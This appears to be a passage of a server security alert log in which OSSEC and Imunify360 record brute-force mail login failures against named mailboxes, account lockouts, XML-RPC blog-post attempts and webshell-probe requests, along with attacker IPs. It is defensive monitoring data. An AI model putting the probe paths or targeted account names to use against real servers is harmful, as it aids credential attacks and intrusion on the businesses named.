2026-02-01 23:21:03 dovecot_login authenticator failed for H=(Cz9figGb9) [178.16.52.139]:59381: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:21:40 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55456: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:21:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.178.230.115
country_id: 357994
description:
2026-02-01 23:21:49 dovecot_login authenticator failed for H=([41.178.230.115]) [41.178.230.115]:33334: 535 Incorrect authentication data (set_id=admin@wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:21:08 dovecot_login authenticator failed for H=(8OtP09aUKw) [178.16.54.22]:53068: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:21:23 dovecot_login authenticator failed for H=(brKDAgX) [158.94.208.175]:49918: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-02-01 23:21:59 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:40854: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:21:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52346: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:21:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.16.201.52
country_id: 1814991
description:
2026-02-01 23:22:01 dovecot_login authenticator failed for H=([58.16.201.52]) [58.16.201.52]:39879: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:51d069ac866a0110d4f487c3add1fa602d76ac02||Title:0xa2ed5ff3||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:22:05 dovecot_login authenticator failed for H=(AwsM1Y8j3) [178.16.54.22]:59691: 535 Incorrect authentication data (set_id=alexchan@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-01 23:22:37 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:46742: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:22:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:22:12 dovecot_login authenticator failed for H=(7oW7IjrkG) [158.94.208.175]:58742: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.210.219.80
country_id: 3144096
description:
2026-02-01 23:22:39 dovecot_login authenticator failed for H=([84.210.219.80]) [84.210.219.80]:38409: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.159
country_id: 2750405
description:
2026-02-01 23:22:09 245729 [Warning] Aborted connection 245729 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.159' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:22:14 dovecot_login authenticator failed for H=(6x09bM0Ujt) [178.16.52.139]:50905: 535 Incorrect authentication data (set_id=mkmadmin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.82
country_id: 1269750
description:
2026-02-01 23:22:19 dovecot_login authenticator failed for H=([59.145.212.121]) [182.95.184.82]:41260: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
country_id: 1814991
description:
2026-02-01 23:22:21 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:37626: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:22:39 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:22:08 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62400: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 23:22:39 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:55564: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-02-01 23:22:53 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:50416: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:23:08 dovecot_login authenticator failed for H=(AomE6kOU) [178.16.52.139]:58599: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 204.144.187.196
country_id: 6252001
description:
2026-02-01 23:23:17 dovecot_plain authenticator failed for H=(watingbame) [204.144.187.196]:60234: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:23:25 dovecot_login authenticator failed for H=(8zyi1bVa) [158.94.208.175]:64213: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:23:02 dovecot_login authenticator failed for H=(zTJsFI) [178.16.54.22]:62529: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:23:59 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47294: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:23:09 dovecot_login authenticator failed for H=(Qd9EPA) [178.16.52.139]:51720: 535 Incorrect authentication data (set_id=mkmadmin@mkmetal.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:23:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:23:02 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56676: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:23:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9754894070a362179b4351f9e2d291b7c7f6405c||Title:0x22135684||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:24:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-01 23:24:13 H=([167.148.167.71]) [167.148.167.71]:59355 F=<Server@nexuscollection.com> rejected RCPT <wankh@nexuscollection.com>: Mail to wankh@nexuscollection.com has been suspended


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:24:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:24:16 dovecot_login authenticator failed for H=(4DO39eb) [178.16.54.22]:54513: 535 Incorrect authentication data (set_id=alexchan@fimco.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 23:24:57 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:24:06 dovecot_login authenticator failed for H=(bz1jRvQQDe) [178.16.52.139]:60767: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:24:13 dovecot_login authenticator failed for H=(Hp84gZXma) [158.94.208.175]:53509: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:24:08 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54803: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:25:04 dovecot_login authenticator failed for H=(5kOe2I) [178.16.54.22]:62265: 535 Incorrect authentication data (set_id=alexchan@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:25:07 dovecot_login authenticator failed for H=(WXEEWOVpxX) [178.16.52.139]:50254: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:25:49 dovecot_login authenticator failed for H=(NfstmvDr) [178.16.52.139]:51868: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:25:23 dovecot_login authenticator failed for H=(8zkByUvrM) [158.94.208.175]:52229: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:25:24 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56944: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.5.178.229
country_id: 3865483
description:
2026-02-01 23:25:56 dovecot_login authenticator failed for H=([186.5.178.229]) [186.5.178.229]:48254: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:25:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:25:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:26:06 dovecot_login authenticator failed for H=(EFvQtoovhC) [178.16.54.22]:50189: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:26:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64986: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:26:09 dovecot_login authenticator failed for H=(aqAoX7X) [158.94.208.175]:61617: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:26:13 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54648: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8c7dab9cbc854865a92210dadbef5585b0c4b942||Title:0x777ec7f5||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:26:07 dovecot_login authenticator failed for H=(1NNmh37QJ) [178.16.52.139]:61555: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.129.119.45
country_id: 1814991
description:
2026-02-01 23:26:20 dovecot_login authenticator failed for H=([39.129.119.45]) [39.129.119.45]:53924: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
country_id: 1814991
description:
2026-02-01 23:26:33 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:41048: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-02-01 23:26:52 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:38034: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.40.189.43
country_id: 6252001
description:
2026-02-01 23:27:30 dovecot_plain authenticator failed for H=c-68-40-189-43.hsd1.mi.comcast.net (activalsk) [68.40.189.43]:59606: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:27:07 dovecot_login authenticator failed for H=(kY457G) [178.16.52.139]:55963: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:27:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58117: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ca43ef0a9d31de4fbbc6151e0291c0cef6146185||Title:0xc7b5a3ac||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:27:05 dovecot_login authenticator failed for H=(pscdl9aE) [178.16.54.22]:65032: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:27:20 dovecot_login authenticator failed for H=(st6TUN) [158.94.208.175]:52629: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:28:12 dovecot_login authenticator failed for H=(yIJA9Kc) [178.16.52.139]:59985: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:28:28 dovecot_login authenticator failed for H=(gOtBUyGGiD) [178.16.54.22]:49534: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:28:53 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:28:07 dovecot_login authenticator failed for H=(kq38B2Vq) [158.94.208.175]:60925: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:28:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51016: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:28:16 dovecot_login authenticator failed for H=(XBZymKG2Ab) [178.16.54.22]:63637: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:28:31 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36216: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 23:28:56 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.248.122
country_id: 1269750
description:
2026-02-01 23:29:30 dovecot_login authenticator failed for H=([122.185.248.122]) [122.185.248.122]:56566: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4adccb4c74afa1277da179d43d501b93360d0c43||Title:0x722e7a41||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:29:06 dovecot_login authenticator failed for H=(5G1vkRWQfq) [178.16.52.139]:63594: 535 Incorrect authentication data (set_id=mkmadmin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:29:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63349: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:29:17 dovecot_login authenticator failed for H=(M7P70akT) [178.16.54.22]:55168: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.18.99.38
country_id: 1269750
description:
2026-02-01 23:29:19 dovecot_login authenticator failed for H=([125.18.99.38]) [125.18.99.38]:52788: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.232
country_id: 6252001
description:
2026-02-01 23:29:07 245999 [Warning] Aborted connection 245999 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.232' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.123.109.43
country_id: 732800
description:
2026-02-01 23:29:15 dovecot_login authenticator failed for H=(ADMIN) [93.123.109.43]:49842: 535 Incorrect authentication data (set_id=service@nmahir.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:29:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:29:19 dovecot_login authenticator failed for H=(6Gnt4teFxu) [158.94.208.175]:63039: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:30:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:30:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58108: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:30:12 dovecot_login authenticator failed for H=(8uDQf2VGW) [178.16.52.139]:61929: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:30:47 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52632: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 23:30:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:30:06 dovecot_login authenticator failed for H=(lQelLiz) [178.16.54.22]:53540: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:30:07 dovecot_login authenticator failed for H=(jd7kgH) [158.94.208.175]:51865: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:30:34 dovecot_login authenticator failed for H=(rDNlbxi23k) [178.16.54.22]:58519: 535 Incorrect authentication data (set_id=cklee)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d46397661fa25d7c646e6a49b7ed4ae15526b925||Title:0xd874f5af||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:31:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:31:18 dovecot_login authenticator failed for H=(T70lotTjwA) [178.16.54.22]:63858: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.173
country_id: 2635167
description:
2026-02-01 23:31:49 246077 [Warning] Aborted connection 246077 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.173' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-01 23:31:55 246079 [Warning] Aborted connection 246079 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.252.72.162
country_id: 1562822
description:
2026-02-01 23:31:17 dovecot_login authenticator failed for H=([127.0.0.1]) [222.252.72.162]:52606: 535 Incorrect authentication data (set_id=azli@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.132.40.46
country_id: 6252001
description:
2026-02-01 23:31:20 dovecot_login authenticator failed for H=([127.0.0.1]) [216.132.40.46]:48333: 535 Incorrect authentication data (set_id=azli@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:31:19 dovecot_login authenticator failed for H=(EKSFOc) [158.94.208.175]:51039: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 23:31:27 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-01 23:31:57 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:4621: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:31:06 dovecot_login authenticator failed for H=(j3f0l9snNO) [178.16.52.139]:52589: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:31:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56394: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:32:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:32:17 dovecot_login authenticator failed for H=(wIa1yzyWM) [178.16.54.22]:56967: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
